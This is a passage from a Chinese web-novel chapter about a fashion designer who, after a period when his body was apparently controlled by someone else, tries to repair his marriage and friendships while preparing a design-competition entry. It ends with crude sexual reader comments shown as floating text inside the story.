“我把握个屁!”江枝咒骂一声,“不是跟你说了,要不是你家裴未雪来求我,我才不会去追他。他认定我把他当替身,相信你不相信我,也没必要了。”
“......”苏引心想造孽,“你们俩是不是嘴部发育都不太好?”
江枝坐起身,一把掀开被子,气愤地说:“你才发育不好!我猛得很!”
又听不懂人话了,苏引怀疑他耳朵发育也不太好,“你猛不猛跟我没关系。我就是想说有误会就当面说清楚啊,他不听你就蹲着呗。你跟我说一句实话,你还喜欢他不?”
裴未雪耳朵听了一大堆八卦,有点奇怪的看了苏引一眼。
江枝哼一声。
“你别哼哼唧唧的。还有啊,你是不是结仇了?还是你们家公司的竞争对手?那个男人眼睛挺大,你有没有印象?”
江枝无语:“有。就是你!”
苏引:“......”
苏引:“你别闹。”
“是我在闹?喜欢贺南的,我知道的加上你就有七八个,你眼睛最大!”江枝骂骂咧咧,说话声有点模糊,背景里还带着水声,应该是在刷牙。
苏引:“......”他摸了摸自己的眼睛,“反正你自己想想,那些人里有没有很讨厌你的。另外你到底喜不喜欢贺南?”
江枝吐掉泡沫,“不用你管。没事我挂了。”
嘟嘟嘟。
急促的挂断声响起,苏引拿下手机,无奈叹气,转头跟裴未雪吐槽,“你说他是不是装货?说句实话能死吗?我跟他可是发小。”
裴未雪不给面子,“正因为你是他发小,所以贺南相信你的话。”
苏引沉默。
感觉他好像生活在狗血世界里当npc。
“雪儿。”他走到办公桌前,“我从来不会相信任何人对你的诋毁。有人在我面前说你坏话的话,我只会揍他。”他还握了拳,表明决心。
裴未雪:“你亲口说过我很贱。”
14.壹拾肆
“你还说过我欠操。说我不要脸不离婚,说不管我怎么努力你都只爱贺南,让我别再犯贱。”
话一落,像根针扎在苏引心上,他脸色‘唰’一下沉了下去,还带着隐隐的恼怒,刚刚握紧的拳头收回,猛砸在桌面上,发出‘嘭’的闷声。
‘他’竟然敢这样说雪儿!
裴未雪一直盯着他的反应,看见苏引毫不遮掩的怒容,放在腿上的手指蜷缩起来,“这就是你说的听不得别人诋毁我?有人说我坏话你就揍他?那你是不是该打你自己?”
‘啪’!
裴未雪被这一巴掌惊得一愣,抬头看见苏引嘴巴和下巴都红了起来。
“雪儿。”苏引猛拍自己的嘴,神情十分严肃,“对不起。那些话不是我的本意。”有人控制他的身体做出这些伤天害理的事,他回回想说这件事都被迫消音。
那些事桩桩件件他都不认。从小接受的教养是不恶语伤人,何况还是对着亲近的人。
可裴未雪切切实实是因为爱他所以被伤害。
裴未雪膝盖上的手握成拳,他抿紧了唇,眼睛一眨不眨的盯着前方,视线没有着落点,“对不起有用么?”
他眼里弥漫着层层哀伤,走到裴未雪身边,揪着裴未雪的袖子,裴未雪霎时起身甩开他,拿上公文包便离开。
苏引追过去,裴未雪站在电梯前阻止他,“别跟来!”
“我要跟!”苏引小步跑到他身边,“我要跟!”他缠着裴未雪一起进电梯,“雪儿,你生气应该的。我说对不起也不是非要你原谅的意思。”
空气沉寂许久,苏引看他脸色恢复平静后转移话题:“你不会发抖了对么?”
以前裴未雪偶尔会浑身发抖,吃了药抑制才好,不过他从裴未雪的药里没发现那个药。
那个药很好认,是液体中药。
裴未雪最近都是吃小药瓶。那两个药以前医生就说能不吃尽量不吃,副作用很大。
电梯里很安静。
“嗯。”很轻也很清晰。
苏引松了口气,那证明还没到以前那种地步。
今天裴未雪说的话让他坐在画室发呆了许久,动不了笔画画。
比他想象中更加可怕。‘他’不仅行为上伤害了他的亲人爱人朋友,更利用他的嘴辱骂裴未雪,或许老妈也被尖锐的骂过只是他不知道而已。
他该怎么样去抢救自己的人生?太操蛋了,一切都被搞成一团乱麻。
曾经幻想过他和裴未雪结婚后会怎么样,从头到尾都在期待。
莫名其妙的,全烂了。
如果非要形容他现在的人生,两个字:烂泥。
视线再落到画板上,他重振旗鼓调整拿笔姿势,不论是谁在背后操控这一切想毁了他,他也不会乖乖认命。
左手边电脑上显示着海城设计大赛的内容,主题:新生。
春天往往象征着新生,以他的了解,大部分人会选择浅色调作为设计底色。
苏引笔帽杵着下唇思考,新生之前有旧过。
他拿过调色盘反复调出许多浅色调的颜色,上在打印过的稿子上,怎么看怎么不对。
雾霾蓝是低饱和色调似乎会更好一些,苏引调出颜色后继续上色,反复废掉无数稿子,最终定了底色深棕色作为外套风衣的颜色。
风衣为模块化剪裁。
“面料用什么呢?”苏引翻箱倒柜在衣柜里找,许多面料他尝试了一下都不太符合他的理念。
没在老师办公室,面料选择不多。
他拿上复印的设计稿出门,直奔KARI专卖店,“老师!”
叶琳正在招待客人,听到咋呼的声音不用猜也知道是谁,她对客人说:“抱歉。”随后对走到她面前见她有客人立马闭嘴的苏引说:“咋咋呼呼的,去楼上。”
“好!”苏引朝客人点头后又奔上楼,走进以前老师给他准备的房间把设计稿放下。
去布料间在成堆布料里找自己想要的,他想用‘非遗焕活’胜出,风衣胸口装饰图案他结合了东巴文字和苗族银饰。
面料也要适当。
“你想把自己埋在布料堆里闷死吗?”
老师的声音传来,苏引探出头,周围全是布料,身上也挂了好几块,“老师。我画完设计稿了,你帮我看看用什么布料比较好?我本来想用羊绒,不过觉得太厚重了。”
“我看过了。”叶琳放下手走到他面前,随手捡起一块布,“这块面料防风防水,你试试做一下。你是不是采纳了青葵隐喻?”
苏引惊喜的站起身,“老师真厉害!”布从他身上滑落,他手忙脚乱的把布料都捡起来按顺序放,“老师,我是不是耽误你做生意了?”
“你耽误的还少?”叶琳语气轻快的埋怨了一句便把他从架子前拎走,“你还有没有其它想法?”
苏引被拖着走边说:“有啊。我裤子想用菌丝体面料。主题是新生,细胞分裂,植物生长,从无序到有序,也是新生。”
走进房间后叶琳放开他的后衣领走到画架前拿起设计稿翻看,“这就是你的灵感?没有你家裴未雪了?”旁边有许多备注小字。
“有啊。其实是因为雪儿他的病复发了,那些药让他从有色到无色,向下的新生。我希望,我可以再次帮助他获得向上的新生。”苏引说。
叶琳闻声轻点了点头,不算意外,“你的缪斯很不错。”她拿出其中一张V领上衣图,拿起笔圈出领子,“这个改成圆领。袖子加长一点,袖口改成宽松。”
又翻阅下一张,“这个,腰身不要太紧,改掉。这个....”
苏引聚精会神的听,几乎每一张都有小改动,他简直都想呼喊老天,没把老师得罪太狠真是谢天谢地,不然他想东山再起真有难度。
所有设计稿改完后,叶琳收起笔把稿子递给他,“好好做。先确定模特身材。”
提到这个苏引高涨的情绪瞬间down了,“我可能要用其它模特。师姐还没回来嘛,我找她借人。”
“她国外的展马上结束了,赶得及跟你去海城。实在不行你找江枝也可以。”
“啊这...”
苏引想过这个,但现在的情况江枝肯定不理他。
没遇到裴未雪之前,他的御用模特一直是江枝,发小是其一,身材好是其二,江枝足足一米九,倒三角身材,腰非常窄,样貌也出众,什么衣服穿上去都会变成高定。
只有一个缺点,和裴未雪一样,会抢了衣服的风头,所以江枝走台时都戴着面纱。
‘他’把人家感情搅黄了,江枝虽然还理他,不过始终有隔阂,他能感觉到江枝其实只是放不下他们一
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起长大的情谊才跟他说话。
心结是贺南。
他想解开心结,可他首先要吃饭。这些天他都在滨海公园摆摊,找出时间做午饭,在裴未雪办公室画画,回家上色,时间太紧了。
匀不出多余的时间去处理贺南的事,也实在是他完全不知道‘他’做了什么说了什么,江枝说的那些不全面,有可能很多事江枝也不知道。
他只能去问贺南这个当事人。这才是他无奈的点,如果可以,他这辈子都不想跟贺南有任何交集。
“我知道了老师。我会尽快找到模特的。”
从KARI专卖店出来后苏引看时间有不算太晚,抓着背包带在路边走,散步一下也不错,缓解一下焦虑。
从‘醒来’到现在,他谁也没说过,其实他一直处于精神高度集中的情况下,很担心事情又发生变化,也为老妈和裴未雪的态度而难受。
难受极了。
又委屈又伤心。
可是,他们也不是故意这样对他的,事出有因,他没办法去责怪他们就只能内耗。
他拐进一家酒吧,等服务员问他要喝什么的时候他想起要减肥,“你好有温水么?”
“没有。”
苏引更伤心了,随便指了一个鲜榨果汁,“那这个吧。”
以前的生活大概是画画设计稿,做做衣服,和老妈跳广场舞,和裴未雪窝在客厅看恐怖电影、去散步、聊一些各自遇到的趣事、互相帮对方解决作业难题。
偶尔和几个同学一起打篮球,和江枝在清吧坐一会儿一起吹牛。
不过是半个月之前的事,现在想做其中一间都是奢望。
身后有人经过,苏引往前倾身。
“苏引,你知道贺总会在这里是不是?”
刺耳的声音传来,苏引迷茫的回头,好几个人站在身后,他退了一步,灯光太暗他看不太清长相,“你是?”
“还以为这几天你消停了,果然还是跟来。哼,贺总,你要好好查一下谁把你行踪泄露出去。”另外一个人说。
灯光束打过来,苏引目光移动到后方一直没开口的男人身上,男人手指掐着烟倚在柱子上,懒散的看着他,眨眼时露出左眼皮上的红痣,苏引吓得更退一步。
我靠!怎么撞上这尊大佛。
他转过身想走,不料被挡住脚步,他在思考能不能打出去,但是又赔不起。
“苏引。”这时一直没说话的贺南出声,他叼着烟走到苏引面前,微眯着眼睛,工整的衬衫解开两粒纽扣,隐隐约约露出锁骨,看一眼后面桌上服务员刚端来的饮料,撩起眼皮,“回家吧。不要再把时间放在我身上。”
苏引刚想开口反驳,谁要把时间放在陌生人身上?可是,‘他’又是人尽皆知的贺南舔狗,深吸口气让自己尽量不要生气,“祝你和枝丫百年好合。”
突然,面前闪过许多行字。
[还以为这段时间不出现死心了,结果又来,补药看他剧情]
[哟,还玩上欲擒故纵了,笑死,南哥听到这句祝福满脑子都是把枝枝按在床上干到失禁的画面]
[你记错了吧,上次是南哥□□到双眼失焦,什么时候再来一次?两人都夹不住皮鼓里的京叶]
[书名起得太对了,《霸总的哑巴替身情人》,一个个都犟得很]